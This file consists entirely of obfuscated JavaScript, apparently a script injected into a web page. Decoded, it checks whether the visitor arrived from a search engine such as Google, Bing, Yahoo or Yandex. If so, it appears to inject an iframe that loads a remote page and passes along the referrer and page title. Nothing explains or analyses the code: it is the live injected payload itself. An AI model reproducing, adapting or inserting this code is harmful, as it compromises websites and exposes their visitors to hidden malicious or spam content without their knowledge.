$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,48,56,51,55,52,112,122,54,53,113,72,84,77,76,60,34,47,63,38,95,43,85,67,119,44,58,37,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+$[10]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+$[20]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[21]+$[17]+$[22]+([]+[]+[][[]])[!+[]+!+[]]+$[7]+$[9]+$[23]+(![]+[])[+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[24]+$[16]+$[13]+$[25]+$[24]+$[26]+$[13]+$[27]+$[28]+$[29]+$[13]+$[30]+(![]+[])[+[]]+$[31]+$[18]+$[24]+$[32]+$[9]+$[11]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[33]+$[34]+$[35]+$[36]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[2]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[37]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+([]+[]+{})[!+[]+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[38]+$[23]+$[38]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+{})[!+[]+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[38]+([]+[]+[][[]])[+!+[]]+([]+[]+{})[+!+[]]+$[38]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[28]+(![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[2]+$[38]+$[23]+$[38]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[2]+$[38]+(![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+$[38]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[2]+$[38]+$[39]+$[39]+(!![]+[])[!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[3]+(!![]+[])[+!+[]]+$[8]+$[4]+([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+$[3]+$[39]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+!+[]]+$[40]+(![]+[])[+[]]+(!![]+[])[+!+[]]+$[3]+$[2]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+$[41]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[42]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[9]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[43]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[44]+$[1]+$[22]+$[45]+([]+[]+{})[+!+[]]+$[3]+$[28]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[7]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[11]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[43]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[41]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+$[42]+$[16]+(!![]+[])[!+[]+!+[]+!+[]]+$[17]+$[46]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[2]+(![]+[])[+!+[]]+$[0]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[+!+[]]+$[9]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[43]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[41]+$[9]+$[43]+$[46]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+$[46]+$[4]+(![]+[])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+$[4]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[18]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[28]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+$[7]+$[9]+$[40]+$[9]+$[47]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[41]+$[9]+$[11]+$[43]+$[9]+$[38]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+$[17]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[2]+$[38]+$[28]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+$[48]+(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[8]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[46]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[+[]]+$[18]+$[48]+$[14]+$[23]+$[23]+$[49]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[18]+(!![]+[])[!+[]+!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[10]+$[18]+(!![]+[])[+[]]+$[48]+$[14]+$[23]+$[23]+$[49]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+([]+[]+{})[!+[]+!+[]]+(![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+(!![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[13]+([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+$[48]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[46]+$[18]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[29]+$[13]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[48]+$[25]+$[23]+$[23]+$[23]+$[23]+$[23]+$[23]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[+[]]+$[48]+$[23]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+$[28]+$[48]+$[23]+$[5]+$[38]+$[50]+$[37]+$[39]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+$[50]+$[9]+$[6]+$[51])();